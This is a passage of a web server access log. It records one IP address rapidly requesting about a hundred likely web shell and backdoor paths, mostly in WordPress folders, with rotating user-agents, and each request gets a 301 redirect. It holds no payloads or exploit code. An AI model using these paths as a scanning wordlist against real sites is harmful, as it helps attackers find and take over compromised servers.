"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:25 -0400] "GET /randkeyword.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:25 -0400] "GET /wp-admin/Files/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 84.17.35.82 - - [27/Apr/2025:19:35:26 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:35:26 -0400] "GET /ay.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 84.17.35.82 - - [27/Apr/2025:19:35:26 -0400] "GET /wordpress/wp-admin/wp-edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 84.17.35.82 - - [27/Apr/2025:19:35:26 -0400] "GET /wp-includes/SimplePie/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:26 -0400] "GET /wp-content/plugins/ioptimization/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:26 -0400] "GET /wp-content/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:26 -0400] "GET /wp-admin/network/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:26 -0400] "GET /wp-admin/defaults.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:26 -0400] "GET /mini.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:35:26 -0400] "GET /yy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 84.17.35.82 - - [27/Apr/2025:19:35:26 -0400] "GET /.well-known/pki-validation/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 84.17.35.82 - - [27/Apr/2025:19:35:26 -0400] "GET /wp-includes/IXR/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:27 -0400] "GET /log.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:27 -0400] "GET /tr.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:27 -0400] "GET /wp-content/themes/pridmag/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:35:27 -0400] "GET /wp-includes/css/dist/test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:35:27 -0400] "GET /byp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:27 -0400] "GET /aq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:27 -0400] "GET /yu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:35:27 -0400] "GET /gt.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 84.17.35.82 - - [27/Apr/2025:19:35:27 -0400] "GET /duck.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:35:28 -0400] "GET /op.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:28 -0400] "GET /l/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:35:28 -0400] "GET /doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:28 -0400] "GET /update/wpupex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:28 -0400] "GET /m.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 84.17.35.82 - - [27/Apr/2025:19:35:28 -0400] "GET /2index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:28 -0400] "GET /wp-content/themes/sky-pro/js.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:28 -0400] "GET /ayk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:28 -0400] "GET /alfanew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:28 -0400] "GET /wp-includes/wp-class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:35:29 -0400] "GET /er.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 84.17.35.82 - - [27/Apr/2025:19:35:29 -0400] "GET /wp-includes/PHPMailer/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:29 -0400] "GET /wp-content/plugins/google-seo-rank/module.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:35:29 -0400] "GET /ssa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:29 -0400] "GET /.well-known/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:35:29 -0400] "GET /hardenX.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:29 -0400] "GET /.qiofetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:35:29 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:29 -0400] "GET /wp-content/x/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:29 -0400] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 84.17.35.82 - - [27/Apr/2025:19:35:29 -0400] "GET /cc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:30 -0400] "GET /images/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:30 -0400] "GET /new2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:30 -0400] "GET /class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:30 -0400] "GET /wp-content/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 84.17.35.82 - - [27/Apr/2025:19:35:30 -0400] "GET /ok.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:30 -0400] "GET /wp-content/mu-plugins/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:30 -0400] "GET /backup/sid.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:35:30 -0400] "GET /ki.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 84.17.35.82 - - [27/Apr/2025:19:35:30 -0400] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:31 -0400] "GET /.well-known/acme-challenge/upfile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 84.17.35.82 - - [27/Apr/2025:19:35:31 -0400] "GET /about/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:31 -0400] "GET /wp-admin/images/wp-post.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 84.17.35.82 - - [27/Apr/2025:19:35:31 -0400] "GET /wp-content/plugins/cp-pro/js.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:31 -0400] "GET /wp-includes/css/dist/components/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 84.17.35.82 - - [27/Apr/2025:19:35:31 -0400] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 84.17.35.82 - - [27/Apr/2025:19:35:31 -0400] "GET /tt.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 84.17.35.82 - - [27/Apr/2025:19:35:31 -0400] "GET /uu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:31 -0400] "GET /wp-admin/x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:32 -0400] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:32 -0400] "GET /dir.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 84.17.35.82 - - [27/Apr/2025:19:35:32 -0400] "GET /wp-admin/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 84.17.35.82 - - [27/Apr/2025:19:35:32 -0400] "GET /.well-known/acme-challenge/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:32 -0400] "GET /xx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:32 -0400] "GET /css/xa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:32 -0400] "GET /sk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:35:32 -0400] "GET /wordpress/wp-edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:32 -0400] "GET /item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:32 -0400] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 84.17.35.82 - - [27/Apr/2025:19:35:33 -0400] "GET /wordpress/wp-includes/wp-post.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:33 -0400] "GET /alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 84.17.35.82 - - [27/Apr/2025:19:35:33 -0400] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:35:33 -0400] "GET /cgi-bin/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 84.17.35.82 - - [27/Apr/2025:19:35:33 -0400] "GET /bgf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:35:33 -0400] "GET /wp-content/plugins/Cache/Cache.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 84.17.35.82 - - [27/Apr/2025:19:35:33 -0400] "GET /an.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:33 -0400] "GET /wp-includes/pomo/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:33 -0400] "GET /wp-content/plugins/core/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 84.17.35.82 - - [27/Apr/2025:19:35:33 -0400] "GET /test.php/wp-content/uploads/wp_live_chat/abruzi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:34 -0400] "GET /ova.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:35:34 -0400] "GET /plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:34 -0400] "GET /wp-content/themes/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:35:34 -0400] "GET /worksec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:34 -0400] "GET /options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 84.17.35.82 - - [27/Apr/2025:19:35:34 -0400] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:34 -0400] "GET /wp-info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:34 -0400] "GET /la.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:34 -0400] "GET /defaults.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:35:34 -0400] "GET /wp-includes/fonts/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 84.17.35.82 - - [27/Apr/2025:19:35:35 -0400] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 84.17.35.82 - - [27/Apr/2025:19:35:35 -0400] "GET /wp-includes/rest-api/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:35 -0400] "GET /as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 84.17.35.82 - - [27/Apr/2025:19:35:35 -0400] "GET /images.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:35 -0400] "GET /up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:35 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:35 -0400] "GET /wp-content/plugins/wp-help/mini.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:35:35 -0400] "GET /indeks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:35 -0400] "GET /wp-content/plugins/seoo/xynz1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 84.17.35.82 - - [27/Apr/2025:19:35:35 -0400] "GET /wp-content/tmpls.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:36 -0400] "GET /wp-content/themes/travel/issue.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:36 -0400] "GET /wp-admin/js/widgets/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:35:36 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/udd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 84.17.35.82 - - [27/Apr/2025:19:35:36 -0400] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:36 -0400] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 84.17.35.82 - - [27/Apr/2025:19:35:36 -0400] "GET /retu11.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 84.17.35.82 - - [27/Apr/2025:19:35:36 -0400] "GET /back.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 84.17.35.82 - - [27/Apr/2025:19:35:36 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:37 -0400] "GET /wp-head.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 84.17.35.82 - - [27/Apr/2025:19:35:37 -0400] "GET /images/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:37 -0400] "GET /wp-content/shell20211028.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:37 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:37 -0400] "GET /system_log.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:35:37 -0400] "GET /goods.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 84.17.35.82 - - [27/Apr/2025:19:35:37 -0400] "GET 